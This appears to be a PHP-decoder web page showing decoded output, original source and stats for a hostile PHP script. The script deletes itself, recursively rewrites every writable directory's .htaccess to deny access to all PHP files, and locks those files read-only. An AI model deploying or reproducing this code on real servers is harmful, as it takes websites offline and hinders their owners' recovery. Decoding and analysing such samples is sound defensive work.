Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /***htaccess***/ $content = '<FilesMatch ".(p.*|P.*|suspected)$"> Order Allow,Den..

Decoded Output download

<?php 
/***htaccess***/ 
$content = '<FilesMatch ".(p.*|P.*|suspected)$"> 
Order Allow,Deny 
Deny from all 
</FilesMatch>'; 
$md5content = md5($content); 
$dir = "."; 
/**/ 
unlink(__FILE__); 
$tempFile = md5($_SERVER["HTTP_HOST"].time()); 
file_put_contents($tempFile, "1"); 
/**/ 
if(file_exists($tempFile)){ 
	$arrDirs = recurDirRW($dir); 
	foreach($arrDirs as $path){ 
		if(file_exists($path . "/" . $tempFile)){ 
			echo $path.',<br>'; 
		}else{ 
			$htfile = $path . "/.htaccess"; 
			chmod($htfile, 0777); 
			file_put_contents($htfile, $content); 
			chmod($htfile, 0444); 
			$thecontent = file_get_contents($path."/.htaccess"); 
			$theContentMd5 = md5($thecontent); 
			if($theContentMd5 == $md5content){ 
				echo $htfile.'<br>'; 
			}else{ 
				echo $htfile.'<br>'; 
			} 
		} 
	} 
	/**/ 
	unlink($tempFile); 
}else{ 
	echo 'root dir is not writeable, abord!<br>'; 
} 
 
/** 
 *  
 */ 
function recurDirRW($pathName) 
{ 
    //result 
    $result = array(); 
    $temp = array(); 
    // 
    if(!is_dir($pathName) || !is_readable($pathName) || !is_writeable($pathName)) { 
        return null; 
    } 
    //,scandir 
    $allFiles = scandir($pathName); 
    // 
    foreach($allFiles as $fileName) { 
        //... 
        if(in_array($fileName, array('.', '..'))) { 
            continue; 
        } 
        // 
        $fullName = $pathName.'/'.$fileName; 
        // 
        if(is_dir($fullName) && is_readable($fullName) && is_writeable($fullName)) { 
            // 
            $result[] = $fullName; 
            $temp = recurDirRW($fullName); 
            $result = array_merge($result, $temp); 
        } 
    } 
    return $result; 
} 
die("done!"); 
?>

Did this file decode correctly?

Original Code

<?php
/***htaccess***/
$content = '<FilesMatch ".(p.*|P.*|suspected)$">
Order Allow,Deny
Deny from all
</FilesMatch>';
$md5content = md5($content);
$dir = ".";
/**/
unlink(__FILE__);
$tempFile = md5($_SERVER["HTTP_HOST"].time());
file_put_contents($tempFile, "1");
/**/
if(file_exists($tempFile)){
	$arrDirs = recurDirRW($dir);
	foreach($arrDirs as $path){
		if(file_exists($path . "/" . $tempFile)){
			echo $path.',<br>';
		}else{
			$htfile = $path . "/.htaccess";
			chmod($htfile, 0777);
			file_put_contents($htfile, $content);
			chmod($htfile, 0444);
			$thecontent = file_get_contents($path."/.htaccess");
			$theContentMd5 = md5($thecontent);
			if($theContentMd5 == $md5content){
				echo $htfile.'<br>';
			}else{
				echo $htfile.'<br>';
			}
		}
	}
	/**/
	unlink($tempFile);
}else{
	echo 'root dir is not writeable, abord!<br>';
}

/**
 * 
 */
function recurDirRW($pathName)
{
    //result
    $result = array();
    $temp = array();
    //
    if(!is_dir($pathName) || !is_readable($pathName) || !is_writeable($pathName)) {
        return null;
    }
    //,scandir
    $allFiles = scandir($pathName);
    //
    foreach($allFiles as $fileName) {
        //...
        if(in_array($fileName, array('.', '..'))) {
            continue;
        }
        //
        $fullName = $pathName.'/'.$fileName;
        //
        if(is_dir($fullName) && is_readable($fullName) && is_writeable($fullName)) {
            //
            $result[] = $fullName;
            $temp = recurDirRW($fullName);
            $result = array_merge($result, $temp);
        }
    }
    return $result;
}
die("done!");
?>

Function Calls

md5 1
unlink 1

Variables

$dir .
$content <FilesMatch ".(p.*|P.*|suspected)$"> Order Allow,Deny Deny..
$md5content 752716b5799531cd9e03b4a9b021290a

Stats

MD5 0f6510eacaa64582fe0b19b44eb16f5f
Eval Count 0
Decode Time 111 ms